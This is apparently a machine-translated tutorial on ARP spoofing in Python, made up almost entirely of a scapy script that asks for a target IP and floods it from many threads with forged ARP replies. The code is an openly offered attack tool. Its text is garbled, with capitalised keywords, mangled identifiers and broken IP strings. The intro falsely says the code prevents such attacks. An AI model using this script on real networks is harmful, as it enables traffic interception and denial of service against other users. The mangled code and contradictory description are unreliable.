This article mainly introduces how to send arp spoofing attacks in python. the following code prevents such attacks:
#-*-Coding: cp936 -*-
From scapy. all import *
From threading import Thread, Lock, activeCount
BROADCASTMAC = getmacbyip ('192. 168.0.120 ')
Class Loop (Thread ):
Def _ init _ (self, ip ):
Thread. _ init _ (self)
Self. ip = ip
Def run (self ):
Global BROADCASTMAC
Arp = ARP ()
Arp. psrc = '192. 168.0.20'
Arp. hwsrc = BROADCASTMAC
Arp. pdst = self. ip
Arp. op = 2
Sr1 (arp, verbose = 0, retry = 0, timeout = 3)
Class Main (Thread ):
Def _ init _ (self, ip ):
Thread. _ init _ (self)
Self. ip = ip
Def run (self ):
Limit = 100
Total = 0
While True:
If activeCount () <limit:
Loop (self. ip). start ()
Total = total + 1
Print 'The number of ARP attacks has been performed:' + str (total)
If _ name _ = '_ main __':
Ip = raw_input ('Enter the IP address of the machine for ARP attack :')
Main (ip = ip). start ()